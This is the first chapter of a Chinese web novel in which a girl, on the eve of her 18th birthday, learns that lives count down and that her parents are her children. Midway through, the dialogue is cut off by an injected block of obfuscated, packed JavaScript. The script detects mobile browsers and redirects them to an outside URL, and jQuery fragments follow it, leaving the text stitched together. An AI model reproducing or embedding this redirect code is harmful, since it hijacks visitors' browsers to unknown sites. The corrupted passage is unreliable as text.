1. Chapter one
作品:《进化论已死》 “现在,你想到的第一句诗是什么?”
夏冰的提问冷不防地在身后响起,尤桐手里的黑板擦一停,在一座“正”字山里带走最标准的那个字。
“你国文课上傻了哦?”尤桐没有转过去,继续擦着黑板。
“说说看嘛。”
“那就‘南村群童欺我老无力’好了,明明说好要一起值日的,居然就放我一个人收尾,” 她顿了顿,“你咧?”
夏冰没有立刻回她,而是过了一会儿后才慢悠悠地说:“‘你的孩子不是你的孩子’①。”
“干嘛?你想生小孩哦?”
尤桐调笑着转过去——
夏冰此时坐在窗边的位置,她侧着头看向窗外昏暗的校园,惨白的灯光和昏黄的路灯光在她脸上形成了交汇。
她像是没有听见尤桐的揶揄,自顾自看着楼下的过道。正值晚自习下课,校园过道涌过来一阵又一阵的嬉笑声。
“喂……”
“还有,”夏冰突然看向尤桐的眼睛,“‘不要温和地走入那个良夜,老年应在日暮时燃烧咆哮’②。”
几乎是她话音刚落,她头上那盏白炽灯突然无序地闪了几下。夏冰的脸在灯光下显得异常冷漠和严肃,把尤桐吓得呆愣当场。
“阿冰,你……”
白炽灯在挣扎几下后彻底灭了,尤桐抬眼看了它一下,不自觉地后退一步。
“哇,真吓人。”
尤桐下意识回答对啊,观察到好友的神态恢复到平时那样后,僵硬的表情才微微松动:“你刚刚惊到了哦?”
“什么?”夏冰眨了眨清明的眼睛,随即骂道:“你才惊到了!我只是最近在看《星际穿越》啦!”
尤桐松了口气,见夏冰没有异样才再次转过去:“你都不知道你刚刚那样子有多吓人,我还以为你被上身了。”
“而且你平时不是不喜欢科幻片吗?你都喜欢看偶像剧、八点档,怎么突然转性了?还念那些老年、孩子的诗……”
夏冰的声音突然消失,周围安静得只有破旧风扇在转,尤桐擦着一个又一个象征着人数的正字,不知道过了多久又听到夏冰若有所思的声音——
“那我们就是老年啊。真想不懂,为什么老年人还老要选这种班长,委员的……”
尤桐顺着夏冰的话抬起眼,在她面前的黑板上有五座像小山一样的正字,而在“山堆”上是五个人的名字。
最中间就是她,尤桐。在她的右侧,则是比她的山堆还要大一点的吴晟桓。
“那个吴晟桓蝉联好几年了吧,这次只考了年级第五也有人选。”
夏冰的话戳中了尤桐的小心思,她率先擦掉自己的名字,“那他都做这么久了,同学更喜欢他也很正常。再说了,我们哪里老啦?你前几日不是才过完18岁生日。”
“生日?”
“嗯,你还请我去你家吃蛋糕,你忘啦?”
“没忘,只是那不是生日。”
尤桐迅速将黑板擦干净,拍拍手里的粉笔灰,回头看向夏冰,“不是生日,是什么?”
夏冰的表情有一瞬间的扭曲,“没什么。你应该也要过……生日了吧,我记得你说过你的生日在油桐花开的季节,所以你爸妈才会给你取名叫尤桐。”
“嗯!”尤桐拿起背包,“明天就是我生日,不过我们家习惯凌晨十二点吃生日蛋糕,所以没办法邀请你过去了。”
“没关系,”夏冰笑着说,“那我先预祝你……”
楼下突然爆发出一阵哄笑声,将夏冰的话盖了过去,尤桐只清楚地听到了三个字。
“日快乐。”
“谢谢你,走吧。”
——
手表的数字抵达21点35分时,尤桐恰好走到了她家门口。她们小区比较老旧,许多年轻一辈都搬到了更新的小区。所以尤桐同层的邻居从五家人,锐减到了一家人。
留下来这一家,恰巧就是和她家住对门的邻居。
尤桐掏钥匙的时候,莫名其妙地留心听了一会儿对面的动静。她记得对门住的是一家三口,妈妈是一个强势的女人,爸爸没什么声响,倒是他们家儿子以前很爱玩摇滚,为此还和他妈妈吵了好久的架。
但是在什么时候呢?一点动静都没有了。
尤桐想着,钥匙孔里发出“咔哒”的声响。
沾染了一点粉笔灰的红边运动鞋站在了暗绿色小方砖的玄关。
“老尤,老霍,我回来啦!”她边说着,边把大门关上。随意将钥匙扔到鞋柜上,换上了拖鞋后,下意识就往厨房方向看去。
“回来啦,时间还没到,先去洗澡吧。”
厨房传来了尤子平朦胧的声音,中间还夹杂着一些切水果的声音。尤桐知道是在为自己准备生日蛋糕,就趿拉着拖鞋往厨房边走。
然而走到一半,就听到霍知燕略带关切的声音,“哎呀,别走过来了,厨房油烟大。你哦,赶紧去洗一洗,然后准备吃蛋糕吧。”
尤桐撇撇嘴,说了一句“神秘兮兮”后又不甘心地叮嘱一句:“有没有买莲雾,我最喜欢吃了。”
霍知燕大声回应:“有啦有啦。”
尤桐满意地往房间走去,走了几步,看到自己卧室对面的房间开着门,里面一个人都没有,她又说道:“尤加利没有回来哦?都好几个星期没回来了,今天我们生日也不回来。再这样下去,我要把他的房间改成书房。”
“他说忙嘛。”尤子平为她的孪生弟弟尤加利开脱。
尤桐兀自做了个鬼脸,将书包往床上一扔,拧开浴室的把手一看,用白砖砌成的浴缸里已经放满了水。
“这是干什么?这么看重我这次生日哦,难道是因为18岁?还是因为快要参加学测。”
怪怪的。
尤桐怀着疑惑的心洗完澡,用毛巾擦拭着湿漉漉的头发,正准备用吹风机吹一下头发,就听到门外传来“哒哒”的脚步声。
“谁?”
“我啦,看你洗完没有。”是霍知燕。
尤桐迅速擦了擦头发,隔着门和她说:“洗完了,准备吹头发。”
想了想,她又补充道:“老霍,你们为什么这么看重我这次生日啊,很不寻常哦。”
“哪有。”
“是哦?”尤桐干脆靠在房门和霍知燕聊天,“老实说我今天还挺不高兴的。你们也知道我这次小考考了年级第一啊,又刚好赶上班级竞选班干部。我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326134|183230||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就想着去选个班长当当,我高中这么久都没有当过班长诶,我肯定想当当看嘛。”
“谁知道,我考了第一名都没几个人选我。那个吴晟桓又重新当上了班长,我还觉得挺挫败的。”
霍知燕的声音停了一下,“哎唷,都一把年纪了还在乎这个哦?”
尤桐隐约觉得这句话很奇怪,“什么一把年纪,你和夏冰说的话怎么都那么奇怪。等到12点,我才18岁。青春无敌,好吧?”
霍知燕和尤子平的笑声模模糊糊地从外面传来,尤桐见头发擦得差不多了,对着外面喊了一声:“寿星公要出来咯。”
她期待地拧开房门,门外却是黑黢黢的一片。没有一丝光亮,也没有一丝声响。所有的光源都出现在她的身后,眼前是她从没涉足过的黑暗。
“搞什么啊?老尤,老霍,你们在哪?”
尤桐试探性地走了出去,大概走到客厅的时候,身后突然传来“啪”地一声,连她身后的灯都被关掉了。
她彻底陷入了黑暗。
“不要玩了,我有点害……”
她紧张地转过身去,映入眼帘的是一个插着一根蜡烛的蛋糕。而托着蛋糕的是她无比熟悉的父母。
摇曳的烛光中他们的脸显得格外的陌生。
“诶,”尤桐瞬间放松下来,“你们真的很吓人,我差点以为你们不见了。”
她笑着低头看蛋糕,就在这时,上扬的嘴角再次僵硬。
“是我喜欢的红叶蛋糕没错啦,但是上面的字……怎么会是‘全世界最好的妈妈’……”尤桐奇怪地指了指蛋糕,“今天是我和尤加利的生日,又不是老霍的生日。你们该不会拿错蛋糕了吧?”
“没有,”霍知燕笑着说,“怎么会拿错呢,我们确认了好几遍。”
“确认好几遍?”尤桐问,“这不是什么大整蛊吧?那这个‘妈妈’怎么回事?”
尤子平和霍知燕对视了一眼,嘴角的弧度上扬得愈发明显。他说:“既然你已经18岁了,我们也不想再隐瞒你什么。其实,我和知燕不是你的父母。”
“什么?我不是亲生的?”
“不,”尤子平说,“你是亲生的,我们也是亲生的。但我们不是你的父母,相反地,你。不,您才是我们的妈妈。”
尤桐彻底懵了,她艰涩开口:“我是你们的妈妈?我才18岁,你们俩加起来都要80多了,我怎么可能生出来你们俩啊?”
“时间不是这么算的,”霍知燕说,“虽然您现在是18岁没错,但每个人出生时就带着他们初始的年龄。每过一年,我们就会减一岁。”
“所有人的生命用的都是减法。生命是有限的,我们无法预估自己的出生,但可以预见自己的死亡。”
尤桐喃喃道:“所以按照你们的说法,我其实是只剩下18年的……寿命?而且,我会在18年后的5月23日死掉?”
“没错。”
尤子平从蛋糕边缘拿起一块倒下来的巧克力牌子。
“所以我们过的从来不是什么生日。”
他将牌子举起来,上面赫然写着四个大字——
“死日快乐。”
“死日快乐,妈妈。”